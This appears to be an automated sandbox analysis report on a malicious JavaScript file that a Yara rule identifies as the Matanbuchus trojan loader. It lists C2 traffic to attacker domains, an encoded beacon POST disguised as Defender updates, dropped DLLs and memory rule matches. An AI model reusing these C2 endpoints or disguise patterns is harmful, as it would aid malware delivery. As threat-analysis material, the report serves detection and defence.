Windows Analysis Report
Doc_21-04-53.js

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 4443
Source: unknown	Network traffic detected: HTTP traffic on port 4443 -> 49939

Source: global traffic

TCP traffic: 192.168.2.4:49740 -> 185.234.216.175:4443

Source: Joe Sandbox View

ASN Name: SPRINT-SDCPL SPRINT-SDCPL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_7F2E4390 socket,gethostbyname,connect,send,recv,std::ios_base::_Ios_base_dtor,

4_2_7F2E4390

Source: global traffic	HTTP traffic detected: GET /klog.php HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows InstallerHost: axizlhop.life
Source: global traffic	HTTP traffic detected: GET /AdminAccounts.aspx HTTP/1.1User-Agent: Microsoft-WNS/11.0Host: security-patches.systemsCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /verif.aspx HTTP/1.1User-Agent: Microsoft-WNS/11.0Host: security-patches.systemsCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /verif.aspx HTTP/1.1User-Agent: Microsoft-WNS/11.0Host: security-patches.systemsCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /verif.aspx HTTP/1.1User-Agent: Microsoft-WNS/11.0Host: security-patches.systemsCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: axizlhop.life
Source: global traffic	DNS traffic detected: DNS query: security-patches.systems

Source: unknown

HTTP traffic detected: POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1User-Agent: Microsoft-WNS/10.0Host: security-patches.systemsContent-Length: 525Content-Type: application/x-www-form-urlencodedAccept-Language: fr-CAData Raw: 64 61 74 61 3d 65 79 4a 42 62 6c 64 47 61 43 49 36 49 6e 4e 30 56 33 45 31 4b 32 78 43 52 6e 67 7a 5a 6d 70 42 50 54 30 69 4c 43 4a 47 63 33 52 4d 49 6a 6f 69 63 54 68 79 54 6a 64 77 54 58 42 43 62 6b 74 70 61 57 67 30 52 58 5a 57 61 6c 4d 78 55 6b 55 39 49 69 77 69 53 47 52 57 55 58 42 42 49 6a 6f 69 63 69 38 72 52 6a 5a 6a 51 6a 4a 4d 56 6c 68 71 49 69 77 69 55 55 5a 61 65 57 6c 70 56 56 68 5a 49 6a 6f 69 4d 58 4a 71 56 47 74 4b 54 54 67 69 4c 43 4a 53 59 6d 39 30 49 6a 6f 69 64 57 4e 68 65 54 51 72 51 6c 64 44 4d 6c 68 6d 49 69 77 69 55 32 4a 61 56 32 35 59 49 6a 6f 69 4d 7a 64 71 55 6d 31 61 56 58 63 69 4c 43 4a 5a 61 30 70 58 49 6a 70 62 49 6e 52 50 61 55 77 69 58 53 77 69 59 32 5a 4c 57 43 49 36 49 6a 4a 6e 50 54 30 69 4c 43 4a 6f 54 6d 39 32 53 6d 30 69 4f 69 4a 77 4b 32 56 56 65 6d 4e 7a 63 30 5a 6f 62 58 5a 71 52 45 4a 69 4e 6c 56 58 63 6d 39 42 50 54 30 69 4c 43 4a 76 51 6e 56 4e 56 58 55 69 4f 69 4a 6f 54 32 46 50 65 6d 52 52 50 53 49 73 49 6e 4e 30 64 56 6b 69 4f 69 49 78 63 6d 70 61 62 56 45 39 50 53 49 73 49 6e 5a 76 53 6d 4d 69 4f 69 4a 74 54 32 46 78 65 58 63 39 50 53 49 73 49 6e 64 42 59 30 67 69 4f 69 4a 78 54 30 4e 50 65 57 4e 7a 4d 32 46 6e 50 54 30 69 4c 43 4a 33 55 57 56 53 53 43 49 36 49 6a 4a 4d 4d 30 45 32 63 7a 56 33 49 69 77 69 65 47 56 44 59 32 70 54 49 6a 6f 69 64 53 39 78 52 6a 4a 6e 50 54 30 69 4c 43 4a 35 61 57 6c 56 57 46 6b 69 4f 69 4a 79 59 6b 38 34 4c 7a 67 31 63 55 6c 47 4c 7a 52 32 51 55 34 32 4f 56 49 32 62 32 39 75 4e 56 52 72 64 32 77 33 5a 47 4a 76 61 6e 68 6f 55 58 64 54 56 6d 64 59 52 57 64 4a 50 53 4a 39 Data Ascii: data=eyJBbldGaCI6InN0V3E1K2xCRngzZmpBPT0iLCJGc3RMIjoicThyTjdwTXBCbktpaWg0RXZWalMxUkU9IiwiSGRWUXBBIjoici8rRjZjQjJMVlhqIiwiUUZaeWlpVVhZIjoiMXJqVGtKTTgiLCJSYm90IjoidWNheTQrQldDMlhmIiwiU2JaV25YIjoiMzdqUm1aVXciLCJZa0pXIjpbInRPaUwiXSwiY2ZLWCI6IjJnPT0iLCJoTm92Sm0iOiJwK2VVemNzc0ZobXZqREJiNlVXcm9BPT0iLCJvQnVNVXUiOiJoT2FPemRRPSIsInN0dVkiOiIxcmpabVE9PSIsInZvSmMiOiJtT2FxeXc9PSIsIndBY0giOiJxT0NPeWNzM2FnPT0iLCJ3UWVSSCI6IjJMM0E2czV3IiwieGVDY2pTIjoidS9xRjJnPT0iLCJ5aWlVWFkiOiJyYk84Lzg1cUlGLzR2QU42OVI2b29uNVRrd2w3ZGJvanhoUXdTVmdYRWdJPSJ9

Source: regsvr32.exe	String found in binary or memory: http://schemas.xml
Source: wscript.exe, 00000000.00000002.1700649296.0000021D64745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1700078062.0000021D645DF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1700047143.0000021D645A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1699750711.0000021D645B7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1699750711.0000021D6459D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1700557606.0000021D645DF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1699942611.0000021D645DE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1699835068.0000021D645D1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1700451982.0000021D645A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://axizlhop.life/klog.php
Source: rundll32.exe, 00000004.00000002.2943141043.0000000002D9A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2943141043.0000000002DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://security-patches.systems/
Source: rundll32.exe, 00000004.00000002.2943141043.0000000002DE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://security-patches.systems/AdminAccounts.aspx
Source: rundll32.exe, 00000004.00000002.2943141043.0000000002DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://security-patches.systems/verif.aspx
Source: rundll32.exe, 00000004.00000002.2943141043.0000000002DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://security-patches.systems/verif.aspxP

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938

Source: unknown	HTTPS traffic detected: 104.21.40.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.234.216.175:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.234.216.175:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.234.216.175:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.234.216.175:443 -> 192.168.2.4:49938 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.regsvr32.exe.7f6d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 6.2.regsvr32.exe.7f6d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 4.2.rundll32.exe.7f290000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 4.2.rundll32.exe.7f290000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 4.2.rundll32.exe.7f290000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 4.2.rundll32.exe.7f290000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 11.2.regsvr32.exe.7ebe0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 11.2.regsvr32.exe.7ebe0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 11.2.regsvr32.exe.7ebe0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 11.2.regsvr32.exe.7ebe0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 6.2.regsvr32.exe.7f6d0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 6.2.regsvr32.exe.7f6d0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 0000000B.00000002.2556127430.0000000004D02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 0000000B.00000002.2556127430.0000000004D02000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 00000006.00000002.2016135931.000000007F6D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 00000006.00000002.2016135931.000000007F6D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 0000000B.00000002.2556486132.000000007EBE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 0000000B.00000002.2556486132.000000007EBE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 00000006.00000002.2015787150.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 00000006.00000002.2015787150.00000000050AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 00000004.00000002.2944220363.0000000005464000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 00000004.00000002.2944220363.0000000005464000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown
Source: 00000004.00000002.2944640918.000000007F290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb Author: unknown
Source: 00000004.00000002.2944640918.000000007F290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Microsoft Windows Installer HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{000C1090-0000-0000-C000-000000000046}

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIEB4E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI67E2.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6850.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6890.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI68B0.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI68F0.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI67E2.tmp

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6C35D860	4_2_6C35D860
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D9D20	4_2_7F2D9D20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2B9830	4_2_7F2B9830
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2DF830	4_2_7F2DF830
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2C3740	4_2_7F2C3740
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2ECDA9	4_2_7F2ECDA9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2E4390	4_2_7F2E4390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D1EB0	4_2_7F2D1EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2F1EE0	4_2_7F2F1EE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CFD40	4_2_7F2CFD40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CDAC0	4_2_7F2CDAC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2FD91B	4_2_7F2FD91B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F30160D	4_2_7F30160D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2FD5B6	4_2_7F2FD5B6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2FD228	4_2_7F2FD228
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F304EFE	4_2_7F304EFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2FCEE0	4_2_7F2FCEE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F31CC3C	4_2_7F31CC3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F31CC60	4_2_7F31CC60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F31CC54	4_2_7F31CC54
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F31CC44	4_2_7F31CC44
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F31CC48	4_2_7F31CC48
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2EAAF0	4_2_7F2EAAF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CA800	4_2_7F2CA800
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F30C640	4_2_7F30C640
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2F8490	4_2_7F2F8490
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2F64ED	4_2_7F2F64ED
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2D9D20	4_2_7F2D9D20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_7F2CC160	4_2_7F2CC160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_6B6351C0	6_2_6B6351C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F731EE0	6_2_7F731EE0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F711EB0	6_2_7F711EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F719D20	6_2_7F719D20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70C160	6_2_7F70C160
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F71F830	6_2_7F71F830
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_7F70A800	6_2_7F70A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC41EE0	11_2_7EC41EE0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC21EB0	11_2_7EC21EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC29D20	11_2_7EC29D20
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1A800	11_2_7EC1A800
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC2F830	11_2_7EC2F830
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 11_2_7EC1C160	11_2_7EC1C160

Source: Joe Sandbox View	Dropped File: C:\Users\user\8f08\813848\813848.winmd 394401B1205D1CC5E6AF1F25183941428651E8DE0E715C5E954E25C6E49D4371
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\silver\libcurl.dll 394401B1205D1CC5E6AF1F25183941428651E8DE0E715C5E954E25C6E49D4371

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 7F2F13A0 appears 37 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 7F2FF35D appears 151 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 7EC4F35D appears 125 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 7F73F35D appears 121 times

Source: Doc_21-04-53.js

Initial sample: Strings found which are bigger than 50

Source: 6.2.regsvr32.exe.7f6d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 6.2.regsvr32.exe.7f6d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 4.2.rundll32.exe.7f290000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 4.2.rundll32.exe.7f290000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
Source: 4.2.rundll32.exe.7f290000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_4ce9affb reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 61d32df2ea730343ab497f50d250712e89ec942733c8cc4421083a3823ab9435, id = 4ce9affb-58ef-4d31-b1ff-5a1c52822a01, last_modified = 2022-04-12
Source: 4.2.rundll32.exe.7f290000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Matanbuchus_58a61aaa reference_sample = 4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2, os = windows, severity = x86, creation_date = 2022-03-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Matanbuchus, fingerprint = 332794db0ed7488e939a91594d2100ee013a7f8f91afc085e15f06fc69098ad5, id = 58a61aaa-51b2-47f2-ab32-2e639957b2d5, last_modified = 2022-04-12
